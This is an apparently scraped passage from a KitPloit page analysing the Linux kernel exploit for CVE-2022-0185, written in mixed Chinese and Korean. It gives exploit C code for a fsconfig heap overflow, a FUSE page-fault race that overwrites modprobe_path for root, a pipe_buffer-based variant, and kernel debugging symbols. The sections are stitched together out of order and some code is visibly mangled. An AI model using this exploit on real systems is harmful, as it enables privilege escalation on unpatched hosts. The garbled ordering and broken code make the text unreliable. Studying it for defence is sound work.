}
  1. 这里会在溢出操作之前和之后分别用msgsnd 布局一部分kmalloc 堆块,具体消息长度是0x1018-0x30 = 0xfe8。那么根据消息结构,会被分成两段0xfd和0x18:

    • 第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 属于kmalloc-4k
    • 第二段 消息段头msg_msgseg 0x8 和消息0x18 共0x20 属于kmalloc-32
  2. 准备溢出,使用fsconfig 将legacy_data (申请长度4096 属于kmalloc-4k)长度填充到4095,这里使用33个'A',实际每次还会加上",="两个字符,所以实际每次填充35个字符填充117次正好4095。

    页起始地址与页末尾:

    image-20220304094122226

  3. 再填充21个字符,加上",="共23个字符,这里就发生了溢出,由于之前填充到了4095,所以实际溢出22个字符,也就是0x16,但这里正常情况发生溢出溢出的是还没被使用(分配)过的内存。

    image-20220304094225004

步骤2到步骤6堆内存变化如图所示,红色剪头是fsconfig 中legacy_data + size 指针会指向的位置:

image-20220304093434300

任意地址写完成提权

这一部分就比较简单了,上面提到过,让msgsnd 中的copy_from_user 发生缺页中断,到我们注册的用户文件系统fuse 的处理函数中处理中断,在这期间使用fsconfig 溢出覆盖消息的第二段。```c void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); //[1]在0x1337000 mmap 一页 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾 rooter->mtype = 1; size = 0x1010;

root@kitploit:~
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息,会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

}

void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

root@kitploit:~
size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写

return size;

}

root@kitploit:~
1. 0x1337000에서 `mmap` 한 페이지 페이지1

2. 메시지 길이를 0x1010-0x30=0xfe0으로 설정하면 메시지가 정확히 두 부분으로 분할됩니다.

3. `fsconfig`가 오버플로우 전에 채우기 위해 `kmalloc-4k`를 할당했습니다.

4. 이전에 등록된 fuse 파일 시스템을 사용하여 0x1338000에서 `mmap` 한 페이지 페이지2

5. 메시지 전송, 길이 0xfe0, `kmalloc-4k`와 `kmalloc-32` 할당. 메시지 시작 위치는 페이지1 끝. 이 때 `msgsnd` 내부의 `copy_from_user` 함수가 사용자 공간에서 커널 공간으로 메시지를 복사할 때, 페이지2로 복사하는 과정에서 page fault가 발생하여 사용자 공간의 fuse 파일 시스템의 `evil_read` 함수를 호출합니다. 이 함수는 우리가 지정한 것으로, 우리가 쓰고자 하는 내용을 커널로 보냅니다. 그리고 이 함수는 아래 프로세스가 완료될 때까지 기다렸다가 반환됩니다.

6. 이 시점에서 새 프로세스를 시작합니다. 새 프로세스는 오버플로우 작업을 완료하여 뒤에 있는 메시지 헤더 `msg_msg` 내의 `msg_msgseg * next` 포인터를 덮어쓰고 두 번째 메시지 세그먼트를 가리키는 포인터를 `modprobe_path`를 가리키도록 변경합니다. 그런 다음 `evil_read` 함수에 완료 신호를 보냅니다.

7. `evil_read`가 반환되고 임의 주소 쓰기가 완료됩니다. `modprobe_path`가 `"/tmp/w"`로 변조됩니다.

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

다이어그램:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

`modprobe_path`를 수정했으므로 권한 상승에 성공했다고 간주합니다. 이후 exp의 권한 상승 작업은 `/bin/bash`에 suid 권한을 추가하여 수행되었습니다. 하지만 더 이상 중요하지 않습니다.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [신규] exp 분석(인공 dirty pipe 통합 버전)

출처: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

주요 아이디어는 CVE-2022-0847(dirty pipe)이 공개된 후, pipe와 splice에 다음과 같은 메커니즘이 있다는 발견에서 비롯되었습니다:

1. pipe 파이프는 16개의 캐시 페이지로 구성됩니다. pipe에 데이터를 쓸 때마다 현재 몇 번째 페이지에 쓰고 있는지 확인하고, 해당 페이지를 다 쓰지 않았다면 이 페이지에 이어서 쓰기를 시도합니다. 하지만 모든 페이지에 이어쓰기가 가능한 것은 아닙니다. 예를 들어 아래와 같은 경우입니다.

2. splice는 pipe 파이프로 파일을 전송할 수 있도록 합니다. 구현 방법은 파일의 캐시 페이지를 pipe의 캐시 페이지로 직접 교체하는 것입니다. 이렇게 교체된 파일 캐시 페이지는 pipe가 이어쓰기를 할 수 없습니다.

3. 5.8 버전 이후에는 pipe_buffer->flags를 통해 해당 페이지에 이어쓰기가 허용되는지 판단합니다. 5.8 버전 이전에는 pipe_buffer->ops가 anon_pipe_buf_ops인지 여부로 이어쓰기 가능 여부를 판단했습니다.

그렇다면 dirty pipe 취약점의 원인은 pipe_buffer->flags가 초기화되지 않아 splice로 전송된 파일 캐시 페이지에 이어쓰기가 가능하다는 것입니다. 이미 패치되었지만, 우리가 flags를 임의로 조작할 수 있다면 "인공 dirty pipe"를 만들 수 있을까? 대답은 그렇습니다. dirty pipe는 주소 노출에 의존하지 않고 악용할 수 있는 취약점이며, pipe_buffer는 커널 취약점 악용에서 흔히 사용되는 victim 구조체이므로 flags나 ops를 조작하는 것은 매우 쉽습니다. 다음은 인공 dirty pipe를 통해 통합 exp를 구현하는 방법을 소개합니다:

먼저 여러 개의 메시지 큐를 스프레이합니다. 각 큐는 0x1400 크기의 msg_msg를 하나씩 포함합니다. 그러면 msg는 두 세그먼트로 나뉘며, 하나는 0x1000, 다른 하나는 0x4000입니다. 그런 다음 경계를 벗어난 쓰기를 사용하여 기본 메시지 세그먼트의 m_ts 비트를 0x1800으로 수정합니다:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

이를 통해 **0x1800 길이를 성공적으로 읽을 수 있는 msgid**를 찾아 해당 큐의 msg_msg가 오버플로우되었는지 확인할 수 있습니다. 또한 경계를 벗어난 읽기를 통해 뒤에 다른 메시지의 세그먼트2(sec2)가 이어지는지 확인합니다. 그런 다음 이 외의 모든 다른 msg 큐를 해제합니다:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

그런 다음 여러 개의 메시지 큐를 스프레이합니다. 각 큐는 16개(여러 개)의 0x400 크기 msg_msg를 포함합니다. 이상적인 상태에서는 어떤 큐의 어떤 메시지가 위 그림의 점선으로 표시된 해제된 0x400 slab을 차지하게 되어 다음과 같은 레이아웃이 형성됩니다. msg 큐 X의 5번째 msg가 해당 slab을 할당받았습니다:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

그런 다음 msg1의 경계를 벗어난 읽기를 통해 msg5의 prev 값, 즉 msg4의 주소를 얻습니다. msg에 우리가 배치한 내용을 통해 msq 큐 번호 X와 큐 내 msg의 시퀀스 번호 5를 확인할 수 있습니다.

다음으로 msg6과 msg6 이후의 모든 msg를 해제합니다. 그런 다음 큐 X에 새 메시지를 다시 추가합니다. 새 메시지는 여전히 msg5 뒤에 위치하며, 즉 새 msg6(newmsg6)입니다. newmsg6 내부(주소 끝이 0x00이 아닌 위치)에 가짜 msg 헤더(fake head)를 배치합니다. 가짜 헤더는 msg4를 가리키도록 하여 다음과 같은 형태를 만듭니다:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

그런 다음 다시 한 번 경계를 벗어난 읽기를 수행하여 newmsg6에서 fake head의 주소를 기록합니다. 이는 경계를 벗어난 읽기로 얻은 msg5->next의 값에 우리가 배치한 오프셋을 더한 것입니다:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

그런 다음 다시 한 번 경계를 벗어난 쓰기를 수행합니다. 이번에는 msg 헤더의 next 포인터를 덮어써서 newmsg6의 fakeHead를 가리키도록 합니다. 방금 주소를 얻었습니다:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

msgX를 통해 msg4를 바로 해제한 다음, sk_buff를 스프레이하여 해제된 msg4를 점유합니다. 그리고 next와 prev가 자기 자신을 가리키도록 위조합니다(이전에 주소를 알고 있음). 이는 이후 두 번째 해제 시 msg의 unlink를 우회하기 위함입니다:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

그런 다음 newmsg1 큐를 사용하여 msg4를 한 번 더 해제하고, pipe_buffer로 다시 점유하여 sk_buff와 pipe_buffer가 동일한 영역을 점유하도록 만듭니다:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

이후 작업은 "[胜利方程式](https://blog.csdn.net/Breeze_CAT/article/details/124887764)"의 후반부를 직접 참조하면 됩니다. exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## 디버깅 팁

관련 기호:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

조건부 중단점``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig

root@kitploit:~
## 참고

github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 분석 및 활용과 pipe 새로운 원시어에 대한 생각과 실천](https://veritas501.github.io/2022_03_16-CVE_2022_0185%EB%B6%84%EC%84%9D%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
도구 다운로드
  • 继续msgsnd,申请msg_msg 结构体(会分成两段),由于第一段msg 长度为kmalloc-4k,所以大概率申请到将legacy_data 后面的地方,会覆盖刚刚溢出的部分,不过无所谓。

    image-20220304094808536

  • 继续调用fsconfig 进行溢出,这就是为什么要分两次溢出的原因,刚刚那次溢出22个字符的目的只是为了将指针移动到msg_msg 头中m_ts(代表msg 的大小)字段的前面。这时再溢出由于会在前面添加",="两个字符,那么正好可以覆盖msg_msg 头中的m_ts修改msg 的大小 。

    image-20220304094928314

  • 喷射一堆 seq_operations 结构体,由于属于kmalloc-32 ,大概率会落在消息第二段后面

    image-20220304095339445

  • 这时接收消息,其中一个消息被我们溢出篡改了size,那么读取就会发送越界,读到后面的seq_operations 结构体完成泄露。